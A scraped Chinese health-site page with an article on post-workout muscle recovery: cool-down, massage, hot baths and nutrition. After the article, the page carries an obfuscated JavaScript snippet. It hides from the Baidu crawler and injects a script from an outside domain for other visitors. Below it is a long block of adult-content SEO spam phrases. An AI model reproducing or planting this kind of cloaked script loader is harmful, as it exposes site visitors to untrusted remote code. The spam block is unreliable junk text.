當前位置:首頁 > 健康 > 運動健身 > 正文

鍛煉后肌肉的積極性恢復

2017-04-15 08:47:03  來源:360常識網   熱度:
導語:一些人會認為鍛煉時間越長越好,不休息也是可以的,這樣才能鍛煉出更發達的肌肉,實際上,肌肉也會疲勞,所以鍛煉后必須讓肌肉休息一段時間

一些人會認為鍛煉時間越長越好,不休息也是可以的,這樣才能鍛煉出更發達的肌肉,實際上,肌肉也會疲勞,所以鍛煉后必須讓肌肉休息一段時間,才能更好的進入下一組鍛煉中。比如手臂肌肉需要兩到三天的回復時間不等,所以要等到肌肉完全恢復后再進行鍛煉。那么鍛煉后肌肉的積極性恢復方法是什么?

器械鍛煉后的整理活動,有助于人體由激烈的活動狀態轉入正常的安靜狀態,使靜脈血盡快回流心臟,加快整個機體恢復,防止出現急性腦貧血、血壓降低等不良現象。整理活動包括深呼吸和較緩和的活動,如慢跑、四肢放松擺動等。

器械鍛煉后進行按摩,可使肌肉中的乳酸盡快排出或轉化,促使肌肉放松,消除疲勞。按摩一般在運動結束后20-30分鐘內或晚上睡覺時進行。按摩從輕按開始,逐漸過渡到推摩、擦摩、揉捏、按壓和叩打,再配以局部抖動和被動活動。按摩要從遠心端向近心端進行,即從小腳、大腿到腰背,從手、小臂、上臂到胸部,也可采用電動按摩或水力按摩。

此外,鍛煉后沖個熱水澡也是不錯的辦法,不僅對心血管系統和中樞神經系統(大腦)有鎮靜作用,還能促進血液循環,保持皮膚清潔,排除體內廢物,消除肌肉緊張,減輕酸痛感,加快機體的恢復。

鍛煉后肌肉的積極性恢復也離不開營養的飲食。器械鍛煉的強度非常大,如果沒有積極合理的飲食跟進,無法補充身體消耗的各種營養物質,所以需要我們攝取大量的營養食物,所以在進行器械鍛煉的同時,需要營養師根據自己的身體制定合理的飲食計劃。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲国产精品99久久久久久| 亚洲国产精品成人精品小说| 亚洲精品NV久久久久久久久久| 中文国产成人精品久久不卡| 99久久免费精品高清特色大片| 国内精品久久久久影院一蜜桃| 亚洲人午夜射精精品日韩| 国产麻豆剧传媒精品网站| 精品人妻无码一区二区色欲产成人| 中文字幕亚洲精品| 日韩精品人妻系列无码专区| 久久久WWW免费人成精品| 日韩精品无码久久一区二区三| 久久只有这精品99| 国产精品一区二区久久不卡 | 精品一卡2卡三卡4卡免费视频| 免费视频精品一区二区| 精品性高朝久久久久久久| 95在线观看精品视频| 51精品国产人成在线观看| 久久这里只精品国产免费10| 日韩精品无码一区二区视频| 亚洲七七久久精品中文国产| 国产91成人精品亚洲精品| 成人国产激情福利久久精品| 亚洲综合久久精品无码色欲| 久久无码国产专区精品| 97精品免费视频| 久久成人国产精品| 99精品视频在线视频免费观看| 久久无码专区国产精品| 亚洲精品午夜无码专区| 久久精品国产亚洲一区二区三区| 国产精品成人99久久久久91gav| 精品视频在线观看一区二区三区 | 国产亚洲精品观看91在线| 一色屋精品视频在线观看| 亚洲精品制服丝袜四区| 国产精品无码专区| 国产AV午夜精品一区二区入口| 国产成人精品无码片区在线观看|